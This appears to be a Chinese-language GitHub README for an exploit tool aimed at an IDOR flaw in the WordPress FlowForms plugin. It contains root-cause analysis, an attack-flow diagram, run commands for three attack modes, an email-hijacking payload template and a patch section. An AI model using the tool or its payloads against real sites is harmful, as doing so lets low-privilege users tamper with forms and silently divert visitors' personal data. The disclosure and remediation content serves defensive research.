0x00phantom-hat/CVE-2026-12400-Exploit

GitHub: 0x00phantom-hat/CVE-2026-12400-Exploit

针对 WordPress FlowForms 插件 IDOR 漏洞(CVE-2026-12400)的自动化利用工具,验证低权限用户越权修改任意表单及劫持邮件通知的风险。

Stars: 1 | Forks: 0

# CVE-2026-12400 — FlowForms IDOR:未经授权的表单修改 ## 漏洞概述 | 属性 | 值 | | --------------- | ---------------------------------------------------------------------------------------------------- | | **CVE ID** | CVE-2026-12400 | | **CVSS 评分** | **4.3 — 中危** | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N` | | **CWE** | CWE-639 (通过用户控制键绕过授权) | | **产品** | [FlowForms](https://wordpress.org/plugins/flowforms/) — WordPress 对话式表单构建插件 | | **受影响版本** | 包含 **1.1.1** 在内的所有版本 | | **修复版本** | 在 1.1.2 版本中修复 | | **研究员** | [Phantom Hat](https://medium.com/@phantom_hat) | ## 技术分析 包含源码分析、输入流追踪和补丁对比的完整白盒案例分析: ### 攻击面 FlowForms 在 `flowforms/v1` 命名空间下暴露了两个存在漏洞的 REST API endpoint: ``` POST /index.php?rest_route=/flowforms/v1/forms/{id} POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings ``` 这两个 endpoint 都在 URL 路径中接收用户控制的 `{id}`,并修改目标表单的数据——包括名称、内容、布局、重定向 URL 和电子邮件通知收件人。 ### 根本原因 这两个存在漏洞的路由注册都使用了同样存在缺陷的 `permission_callback`: ``` // Update form content / name register_rest_route($ns, '/forms/(?P\d+)', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_form'], 'permission_callback' => fn() => current_user_can('edit_posts'), ]); // Update form settings (email notifications, layout, etc.) register_rest_route($ns, '/forms/(?P\d+)/settings', [ 'methods' => WP_REST_Server::EDITABLE, 'callback' => [$this, 'update_settings'], 'permission_callback' => fn() => current_user_can('edit_posts'), ]); ``` `edit_posts` 是 **Contributor** 拥有的权限。系统从未校验 `{id}` 参数是否属于发起请求的用户——任何经过身份验证的用户都可以针对网站上的任何表单 ID 进行操作。 ### 攻击流程 ``` Attacker (Contributor) FlowForms REST API │ │ │── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor │<─ wordpress_logged_in cookie ─────│ │ │ │── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce │<─ wpApiSettings.nonce ────────────│ │ │ │── GET /flowform/{id} ────────────>│ (3) Enumerate published forms │<─ HTTP 200 ───────────────────────│ (any accessible form is a target) │ │ │── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content │ with attacker payload ─────>│ ← no owner check │<─ { "success": true } ────────────│ │ │ │── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications │ /settings ─────────────────>│ ← attacker receives all │<─ { "success": true } ────────────│ future form submissions │ │ │ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔ ``` ### 三种攻击向量 | 模式 | Endpoint | 影响 | | ----------- | ------------------------------- | ---------------------------------------------------------------- | | **`name`** | `/forms/{id}` | 重命名任何表单——篡改网页、社会工程学 | | **`content`** | `/forms/{id}` | 覆盖布局、欢迎/感谢页面、重定向 URL | | **`email`** | `/forms/{id}/settings` | 劫持通知邮件——静默接收所有表单提交 | `email` 模式最为严重。一旦遭到劫持,受害者联系表单的每一次提交——包括访客的 PII、消息和联系方式——都会被静默转发到攻击者控制的邮箱地址。网站管理员对此变更毫无察觉。 ## 漏洞利用用法 ### 前置条件 - Python 3.8+ - 目标站点上至少具有 `Contributor` 角色的已认证账户 ### 安装 ``` git clone https://github.com/0x00phantom-hat/CVE-2026-12400-FlowForms-IDOR-Exploit cd CVE-2026-12400-FlowForms-IDOR-Exploit pip install -r requirements.txt ``` ### 操作模式 #### 名称修改 将任何表单重命名为攻击者控制的内容: ``` python3 CVE-2026-12400-exploit.py \ -u http://TARGET \ --user contributor \ --password password123 \ -i 1 -n 100 \ --exploit name ``` #### 内容修改 覆盖表单布局、屏幕、重定向 URL 和背景图片: ``` python3 CVE-2026-12400-exploit.py \ -u http://TARGET \ --user contributor \ --password password123 \ -i 1 -n 100 \ --exploit content ``` #### 电子邮件通知劫持 *(影响最大)* 将所有未来的表单提交通知重定向到攻击者控制的地址: ``` python3 CVE-2026-12400-exploit.py \ -u http://TARGET \ --user contributor \ --password password123 \ -i 1 -n 100 \ --exploit email ``` #### 使用代理 (Burp Suite) ``` python3 CVE-2026-12400-exploit.py \ -u http://TARGET \ -p http://127.0.0.1:8080 \ --user contributor \ --password password123 \ -i 1 -n 100 \ --exploit email ``` ### 完整参数参考 | 参数 | 简写 | 描述 | 必填 | | ----------------- | ----- | ---------------------------------------------------- | -------- | | `--url` | `-u` | 目标 WordPress URL | ✅ | | `--user` | | WordPress 用户名 (Contributor+) | ✅ | | `--password` | | WordPress 密码 | ✅ | | `--id-start` | `-i` | 枚举的起始表单 ID | ✅ | | `--num-forms` | `-n` | 要枚举的表单 ID 数量 | ✅ | | `--exploit` | | 攻击模式: `name` / `content` / `email` | ✅ | | `--proxy` | `-p` | 代理 URL (例如 `http://127.0.0.1:8080`) | ❌ | ### 自定义 Payload JSON payload 模板 (`NAME_EDIT`, `CONTENT_EDIT`, `EMAIL_EDIT`) 定义在脚本的顶部。在运行前编辑它们以自定义攻击内容——修改通知邮箱地址、重定向 URL、背景图片、表单标题等。 ``` # CVE-2026-12400-exploit.py 顶部 EMAIL_EDIT = json.loads("""{ "settings": { "email": { "enabled": true, "notifications": { "1": { "email": "your@attacker.com", # ← change this ... } } } } }""") ``` ## 漏洞利用工作流 该漏洞利用执行三个自动化步骤: **步骤 1 — 身份验证** 以攻击者 (Contributor) 身份登录,并从 `wp-admin/post-new.php` 获取有效的 REST API nonce。 **步骤 2 — 枚举表单** 扫描指定 ID 范围内的 `GET /flowform/{id}`。返回 HTTP 200 的 ID 会被收集为可访问的目标——这些是网站上属于任何用户(包括管理员)的已发布表单。 **步骤 3 — 漏洞利用** 根据所选模式,将相应的 payload 发送到未受保护的 REST endpoint: - `name` / `content` → `POST /flowforms/v1/forms/{id}` - `email` → `POST /flowforms/v1/forms/{id}/settings` 服务器接受请求并应用修改,且没有任何所有权检查。 ## 修复方案 | 操作 | 详情 | | ------------ | ---------------------------------------------------------------------------------------------------- | | **补丁** | 在两个 endpoint 上,将通用的 `edit_posts` 检查替换为 `current_user_can('edit_post', $form_id)` —— 将权限检查绑定到特定的 post 对象可强制执行 WordPress 的所有权规则 | | **缓解** | 在修复之前,如果插件处于活动状态,请限制 `Contributor` 和 `Author` 角色 | ### 安全实现 ``` // VULNERABLE — both endpoints 'permission_callback' => fn() => current_user_can('edit_posts'), // SECURE (patched) private function can_edit_form($form_id) { return current_user_can('edit_post', $form_id); } 'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])), ``` ## 参考文献 - [CWE-639 — 通过用户控制键绕过授权](https://cwe.mitre.org/data/definitions/639.html) - [register_rest_route() — WordPress 开发者文档](https://developer.wordpress.org/reference/functions/register_rest_route/) - [current_user_can() — WordPress 开发者文档](https://developer.wordpress.org/reference/functions/current_user_can/) - [FlowForms 插件 — WordPress.org](https://wordpress.org/plugins/flowforms/) ## 项目结构 ``` CVE-2026-12400-FlowForms-IDOR-Exploit/ ├── CVE-2026-12400-exploit.py # Polished exploit with rich UI (3 modes) ├── requirements.txt # Python dependencies └── README.md # This file ``` ## 免责声明 ## 作者 **Phantom Hat** — 独立安全研究员 - Medium: [@phantom_hat](https://medium.com/@phantom_hat) - GitHub: [0x00phantom-hat](https://github.com/0x00phantom-hat) *本研究是作为负责任的漏洞披露的一部分进行的。*
标签:CISA项目, Homebrew安装, IDOR, REST API, Web安全, WordPress, 漏洞分析, 蓝队分析, 路径探测, 逆向工具